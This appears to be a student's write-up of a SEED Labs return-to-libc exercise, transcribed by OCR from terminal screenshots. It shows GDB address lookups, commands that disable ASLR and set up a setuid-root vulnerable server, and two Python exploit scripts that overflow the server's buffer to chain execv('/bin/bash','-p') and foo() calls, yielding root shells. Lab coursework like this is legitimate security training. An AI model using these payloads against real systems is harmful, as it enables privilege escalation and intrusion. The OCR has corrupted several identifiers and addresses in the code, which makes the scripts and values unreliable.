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# Task 1

```
Q = - 0 😵
                                   seed@VM: ~/Share
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you me
an "=="?
 if sys.version info.major is 3:
opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you m
ean "=="?
 if pyversion is 3:
Reading symbols from vulner...
(No debugging symbols found in vulner)
gdb-peda$ break main
Breakpoint 1 at 0x1416
gdb-peda$ run
Starting program: /home/seed/Share/vulner
/bin/bash: /home/seed/Share/vulner: Permission denied
/bin/bash: line 0: exec: /home/seed/Share/vulner: cannot execute: Permission den
ied
During startup program exited with code 126.
gdb-peda$ run 4755
Starting program: /home/seed/Share/vulner 4755
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seed@VM: ~/Share
                                                           Q = - 0 🔇
=> 0x56556416 <main>: endbr32
  0x5655641a <main+4>: lea ecx,[esp+0x4]
                          esp,0xfffffff0
  0x5655641e <main+8>: and
  [-----stack------
0000| 0xfffffdlec --> 0xf7debee5 (<__libc_start_main+245>:
                                                             esp,0x10)
                                                       add
0004| 0xffffd1f0 --> 0x2
0008 0xffffd1f4 --> 0xffffd284 --> 0xfffffd425 ("/home/seed/Share/vulner")
0012| 0xffffd1f8 --> 0xffffd290 --> 0xffffd442 ("SHELL=/bin/bash")
0016 | 0xffffd1fc --> 0xffffd214 --> 0x0
0020| 0xffffd200 --> 0xf7fb4000 --> 0x1e6d6c
0024| 0xffffd204 --> 0xf7ffd000 --> 0x2bf24
0028| 0xfffffd208 --> 0xfffffd268 --> 0xfffffd284 --> 0xfffffd425 ("/home/seed/Share
/vulner")
Legend: code, data, rodata, value
Breakpoint 1, 0x56556416 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$
```

# Task 2 and 3

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seed@VM: ~/Share
                                                                   Q = - 0 😵
prtenv.c:7:24: warning: cast from pointer to integer of different size [-Wpointe
r-to-int-cast]
                printf("%x\n", (unsigned int)shell);
[02/08/25]seed@VM:~/Share$ ./prtenv
d6160470
[02/08/25]seed@VM:~/Share$ cat /proc/sys/kernel/randomize va space
[02/08/25]seed@VM:~/Share$ sudo sysctl -w kernel.randomize va space=0
kernel.randomize_va_space = 0
[02/08/25]seed@VM:~/Share$ ./prtenv
ffffe470
[02/08/25]seed@VM:~/Share$ ./prtenv
ffffe470
[02/08/25]seed@VM:~/Share$ gcc -o vulner vulner.c
vulner.c: In function 'main':
vulner.c:45:24: warning: cast from pointer to integer of different size [-Wpoint
er-to-int-castl
  45 |
                printf("%x\n", (unsigned int)shell);
[02/08/25]seed@VM:~/Share$ ./vulner
ffffe470
Server listening on port 8080...
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After turn off the address randomization, the same address is printed out.

```
Q = _ 0 🔞
                             seed@VM: ~/Share
=> 0x56556436 <main>: endbr32
  0x5655643a <main+4>: lea ecx,[esp+0x4]
  -----stack-----
0000| 0xffffdlec --> <mark>0xf7debee5</mark> (<__libc_start_main+245>: add esp,0x10)
0004 | 0xffffd1f0 --> 0x2
0008 0xffffd1f4 --> 0xffffd284 --> 0xffffd424 ("/home/seed/Share/vulner")
0012| 0xffffd1f8 --> 0xffffd290 --> 0xffffd441 ("SHELL=/bin/bash")
0016 | 0xffffd1fc --> 0xffffd214 --> 0x0
0020| 0xffffd200 --> 0xf7fb4000 --> 0x1e6d6c
0024| 0xffffd204 --> 0xf7ffd000 --> 0x2bf24
0028| 0xfffffd208 --> 0xfffffd268 --> 0xfffffd284 --> 0xfffffd424 ("/home/seed/Share
/vulner")
[-----]
Legend: code, data, rodata, value
Breakpoint 1, 0x56556436 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$
```

How to get the OFFSET\_TO\_RETURN\_ADDR is in task 4.

```
Q = - 0
                               seed@VM: ~/Documents
            seed@VM: ~/Documents
[02/09/25]seed@VM:~$ cd Documents/
[02/09/25]seed@VM:~/Documents$ sudo sysctl -w kernel.randomize va space=0
kernel.randomize va space = 0
[02/09/25]seed@VM:~/Documents$ sudo ln -sf /bin/zsh /bin/sh
[02/09/25]seed@VM:~/Documents$ gcc -m32 -fno-stack-protector -z noexecstack -o v
ulner vulner.c
[02/09/25]seed@VM:~/Documents$ sudo chown root vulner
[02/09/25]seed@VM:~/Documents$ sudo chmod 4755 vulner
[02/09/25]seed@VM:~/Documents$ export MYSHELL=/bin/sh
[02/09/25]seed@VM:~/Documents$ env | grep MYSHELL
MYSHELL=/bin/sh
[02/09/25]seed@VM:~/Documents$ ./vulner
ffffd456
Server listening on port 8080...
[02/09/25]seed@VM:~/Documents$ ./vulner
ffffd456
Server listening on port 8080...
Client connected..
A $000000V000
# whoami
root
#
```

#### Attack variation 1:

The exit function can help ensure clean termination and prevent crashes that might interfere with the payload. Without this function, we get a Segmentation Fault.

```
seed@VM: ~/Documents
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          seed@VM: ~/Documents
[02/09/25]seed@VM:~/Documents$ env | grep MYSHELL
MYSHELL=/bin/sh
[02/09/25]seed@VM:~/Documents$ ./vulner
ffffd456
Server listening on port 8080...
[02/09/25]seed@VM:~/Documents$ ./vulner
ffffd456
Server listening on port 8080...
Client connected..
A $000000V000
# whoami
root
# exit
[02/09/25]seed@VM:~/Documents$ ./vulner
ffffd456
Server listening on port 8080...
Client connected.
A $00V000
zsh:1: command not found: M-[\M-e\M-]\M-w\M-"^W\M-]\M-w\M-^P\M-U\M-^?\M-w
Segmentation fault
[02/09/25]seed@VM:~/Documents$
```

### Attack variation 2:

The exploit uses hardcoded addresses or offsets that depend on the length of the file name, changing the name could shift these addresses, causing the exploit to fail.

```
Q = - 0 (
                          seed@VM: ~/Documents
         seed@VM: ~/Documents
# exit
[02/09/25]seed@VM:~/Documents$ ./vulner
ffffd456
Server listening on port 8080...
Client connected...
A $00V000
Segmentation fault
[02/09/25]seed@VM:~/Documents$ gcc -m32 -fno-stack-protector -z noexecstack -o v
ulner vulner1.c
[02/09/25]seed@VM:~/Documents$ sudo chmod 4755 vulner1
chmod: cannot access 'vulner1': No such file or directory
[02/09/25]seed@VM:~/Documents$ gcc -m32 -fno-stack-protector -z noexecstack -o v
ulner1 vulner1.c
[02/09/25]seed@VM:~/Documents$ sudo chmod 4755 vulner1
[02/09/25]seed@VM:~/Documents$ sudo chown root vulner1
[02/09/25]seed@VM:~/Documents$ ./vulner1
ffffd454
Server listening on port 8080...
Client connected...
A $000000T000
$
```

# Task 4

```
seed@VM: ~/Documents
                                                              Q = - - 8
0024| 0xffffd1e4 --> 0xf7ffd000 --> 0x2bf24
0028 0xffffdle8 --> 0xffffd248 --> 0xffffd264 --> 0xffffd407 ("/home/seed/Docum
ents/vulner")
[----
              Legend: code, data, rodata, value
Breakpoint 1, 0x56556436 in main ()
gdb-peda$ p execv
$1 = {<text variable, no debug info>} 0xf7e994b0 <execv>
gdb-peda$ quit
[02/09/25]seed@VM:~/Documents$ export MYSHELL=/bin/bash
[02/09/25]seed@VM:~/Documents$ env | grep MYSHELL
MYSHELL=/bin/bash
[02/09/25]seed@VM:~/Documents$ gcc -m32 -o prtenv prtenv.c
gcc: error: prtenv.c: No such file or directory
gcc: fatal error: no input files
compilation terminated.
[02/09/25]seed@VM:~/Documents$ export MYARG="-p"
[02/09/25]seed@VM:~/Documents$ vim prtenv.c
[02/09/25]seed@VM:~/Documents$ gcc -m32 -o prtenv prtenv.c
[02/09/25]seed@VM:~/Documents$ ./prtenv
MYSHELL: ffffd44b
MYARG: ffffde0f
[02/09/25]seed@VM:~/Documents$
```

As we know that the MYSHELL and MYARG 's address, we can get the OFFSET\_TO\_RETURN\_ADDR = 66.

```
seed@VM: ~/Documents
                                                                Q = -
            seed@VM: ~/Documents
0008| 0xffffd118 --> 0xffffd120 --> 0x3
0012  0xffffd11c --> 0xf7ed4f56 (<accept+70>:
                                                     ebx.eax)
0016| 0xffffd120 --> 0x3
0020 | 0xffffd124 --> 0xffffd154 --> 0xf7fe22d0 (endbr32)
0024 | 0xffffd128 --> 0xffffd150 --> 0x10
0028| 0xffffd12c --> 0xa422b800
                              Legend: code, data, rodata, value
Stopped reason: SIGINT
0xf7fd0b49 in kernel vsyscall ()
gdb-peda$ x/40x $esp
0xffffd110:
               0xffffd188
                               0x00000000
                                               0xffffd120
                                                              0xf7ed4f56
0xffffd120:
                                               0xffffd150
                                                              0xa422b800
               0 \times 000000003
                               0xffffd154
0xffffd130:
               0xf7fb4000
                               0x56558fa8
                                               0xf7fb4000
                                                              0x56556592
                                               0xffffd150
0xffffd140:
               0x00000003
                               0xffffd154
                                                              0x56556451
0xffffd150:
               0x00000010
                               0xf7fe22d0
                                               0x00000000
                                                              0xf7e05212
0xffffd160:
               0xf7fh43fc
                               0x901f0002
                                               0x00000000
                                                              0x56556633
0xffffd170:
               0x00000001
                               0xffffd234
                                               0x00000003
                                                              0xffffd46a
0xffffd180:
               0xffffdla0
                               0x00000000
                                               0x00000000
                                                              0xf7debee5
0xffffd190:
               0xf7fb4000
                               0xf7fb4000
                                               0x00000000
                                                              0xf7debee5
0xffffdla0:
               0x00000001
                               0xffffd234
                                               0xffffd23c
                                                              0xffffd1c4
gdb-peda$ print $ebp - $esp
$1 = 0x78
gdb-peda$
```

```
seed@VM: ~/Documents
                                                             Q = -
            seed@VM: ~/Documents
0020| 0xffffd1b0 --> 0xf7fb4000 --> 0xle6d6c
0024 | 0xffffd1b4 --> 0xf7ffd000 --> 0x2bf24
0028| 0xfffffdlb8 --> 0xfffffd218 --> 0xfffffd234 --> 0xfffffd3ee ("/home/seed/Docum
ents/vulner")
Legend: code, data, rodata, value
Breakpoint 1, 0x56556466 in main ()
gdb-peda$ print getenv("ATTACK")
'getenv' has unknown return type; cast the call to its declared return type
gdb-peda$ print (char *) getenv("ATTACK")
$1 = 0xffffd502 "-p"
gdb-peda$ quit
[02/09/25]seed@VM:~/Documents$ export BIN_BASH="/bin/bash"
[02/09/25]seed@VM:~/Documents$ ./vulner
BIN BASH address: 0xffffddbb
ARG P address: 0x0
Server listening on port 8080...
Client connected..
Address of vulnerable buffer[]: 0x0xffffd126
Frame Pointer value: 0x0xffffd168
# whoami
root
```

Can get the address -p and /bin/bash.

Other address can get from gdb.

Below is the exploit.py.

```
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14 BIN BASH ADDR = 0xffffd44b
15 ARG_P_ADDR = 0xffffde0f
16 NULL = 0x00000000
19 ARGV_ADDR = BIN_BASH_ADDR + 32
23
24
25
          argv = [
                BIN_BASH_ADDR, # argv[0] = "/bin/bash"
ARG_P_ADDR, # argv[1] = "-p"
                ARG_P_ADDR,
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                                          # argv[2] = NULL
                NIII I
          argv bytes = b"".join(struct.pack("<I", arg) for arg in argv)</pre>
         payload = b"A" * OFFSET_TO_RETURN_ADDR
payload += struct.pack("<I", EXECY_ADDR)
payload += struct.pack("<I", EXIT_ADDR)
payload += struct.pack("<I", BIN_BASH_ADDR)
payload += struct.pack("<I", ARGY_ADDR)</pre>
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          payload += argv_bytes
41
          return payload
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# Task 5

```
seed@VM: ~/Documents
                                                                    Q =
             seed@VM: ~/Documents
0028| 0xfffffd1d8 --> 0xfffffd238 --> 0xfffffd254 --> 0xfffffd3f7 ("/home/seed/Docum
ents/vulner")
Legend: code, data, rodata, value
Breakpoint 1, 0x56556436 in main ()
gdb-peda$ disas foo
Dump of assembler code for function foo:
  0x5655634d <+0>:
                       endbr32
  0x56556351 <+4>:
  0x56556352 <+5>:
                        mov
                                ebp, esp
   0x56556354 <+7>:
                        push
                                ebx
  0x56556355 <+8>:
                                esp,0x4
                        sub
   0x56556358 <+11>:
                        call
                                0x565565d4 < x86.get pc thunk.ax>
   0x5655635d <+16>:
                        add
                               eax,0x2c4b
                                edx, DWORD PTR [eax+0x60]
   0x56556362 <+21>:
                        mov
  0x56556368 <+27>:
                               ecx,[edx+0x1]
                        lea
   0x5655636b <+30>:
                        mov
                               DWORD PTR [eax+0x60],ecx
   0x56556371 <+36>:
                        sub
                               esp,0x8
   0x56556374 <+39>:
                        push
                               edx
   0x56556375 <+40>:
                        lea
                               edx,[eax-0x1fa0]
   0x5655637b <+46>:
                        push
                               edx
   0x5655637c <+47>:
                        mov
                                ebx, eax
                                0x56556130 <printf@plt>
   0x5655637e <+49>:
                        call
```

Can get the foo()'s address is 0x56556351.

Below is the exploit.py.

```
exploit.py
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  1import struct
  2 import socket
  4 # Define target information
5 TARGET_IP = "127.0.0.1"
  6 TARGET_PORT = 8080
 8 # Memory addresses (replace with actual addresses from GDB)
9 FOO_ADDR = 0x56556351  # Address of foo()
10 EXECV_ADDR = 0xf7e994b0  # Address of execv()
 11 EXIT\_ADDR = 0xf7e04f80 \# Address of exit()
 12 BIN_BASH_ADDR = 0 \times 5655702c
13 ARG_P_ADDR = 0 \times 5655704c
15 # Construct ROP chain: 10 calls to foo()
16 payload = b"A" * 66 # Overflow buffer (adjust based on offset)
17 for _ in range(10):
           payload += struct.pack("<I", FOO_ADDR) # Return to foo()</pre>
20 # After foo() executes 10 times, call execv()
21 payload += struct.pack("<I", EXECV_ADDR) # Jump to execv()
22 payload += struct.pack("<I", EXIT_ADDR) # Return address for execv() (cleanup)
23 payload += struct.pack("<I", BIN_BASH_ADDR) # First argument: "/bin/bash"
24 payload += struct.pack["<I", BIN_BASH_ADDR + 32] # Pointer to argv[] array
26 # Send payload to server
27 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((TARGET_IP, TARGET_PORT))
29
30
            s.sendall(payload)
```

I add printf("BIN\_BASH address: %p\n", "/bin/bash"); printf("ARG\_P address: %p\n", "-p"); To vulner.c . So we can get the BIN BASH ADDR and ARG P ADDR when we run vulner.c.

```
Q = _ _
                                    seed@VM: ~/Documents
             seed@VM: ~/Documents
Function foo() is invoked 6 times
Function foo() is invoked 7 times
Function foo() is invoked 8 times Function foo() is invoked 9 times
Function foo() is invoked 10 times
[02/09/25]seed@VM:~/Documents$ ./vulner
ffffd456
Server listening on port 8080...
Client connected...
BIN_BASH address: 0x5655702c
ARG P address: 0x5655704c
Function foo() is invoked 1 times
Function foo() is invoked 2 times
Function foo() is invoked 3 times
Function foo() is invoked 4 times
Function foo() is invoked 5 times
Function foo() is invoked 6 times
Function foo() is invoked 7 times
Function foo() is invoked 8 times
Function foo() is invoked 9 times
Function foo() is invoked 10 times
# whoami
root
```